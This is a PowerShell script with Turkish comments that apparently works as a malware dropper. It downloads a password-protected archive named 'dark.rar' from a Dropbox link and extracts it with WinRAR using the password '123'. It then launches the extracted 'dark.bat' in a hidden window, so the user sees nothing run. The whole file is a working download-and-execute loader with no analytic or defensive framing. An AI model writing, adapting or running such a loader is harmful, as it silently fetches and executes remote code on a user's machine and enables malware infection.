# URL, şifre ve dosya isimleri $url = "https://www.dropbox.com/scl/fi/ootbt5boxts01318qiw2a/dark.rar?rlkey=kc5atomf2pfkzhvghleoluffp&st=ectv3w56&dl=1" $filename = "$env:USERPROFILE\Downloads\dark.rar" # İndirilecek dosya yolu $password = "123" $output_file = "$env:USERPROFILE\Downloads\dark.bat" # Çıkartılacak bat dosya yolu $winrarPath = "C:\Program Files\WinRAR\WinRAR.exe" $maxTries = 3 $tryCount = 0 # Dosyayı indir while ($tryCount -lt $maxTries -and !(Test-Path $filename)) { Invoke-WebRequest -Uri $url -OutFile $filename Start-Sleep -Seconds 1 $tryCount++ } # İndirilen dosyanın var olup olmadığını ve WinRAR'ın varlığını ayrı ayrı kontrol et if ((Test-Path $filename) -and (Test-Path $winrarPath)) { $tryCount = 0 # RAR dosyasını çıkar ve şifreyi kullanarak dark.bat dosyasını çıkar while ($tryCount -lt $maxTries -and !(Test-Path $output_file)) { & $winrarPath x -p$password $filename "$env:USERPROFILE\Downloads\" > $env:USERPROFILE\Downloads\extract.log 2>&1 Start-Sleep -Seconds 1 $tryCount++ } # Çıkartılan dark.bat dosyasını çalıştır if (Test-Path $output_file) { Write-Host "Çıkartılan dosya çalıştırılıyor: $output_file" Start-Process -FilePath $output_file -WindowStyle Hidden } else { Write-Host "Dosya çıkarılamadı, lütfen extract.log'u kontrol edin." } } else { Write-Host "Dosya indirilemedi veya WinRAR bulunamadı." }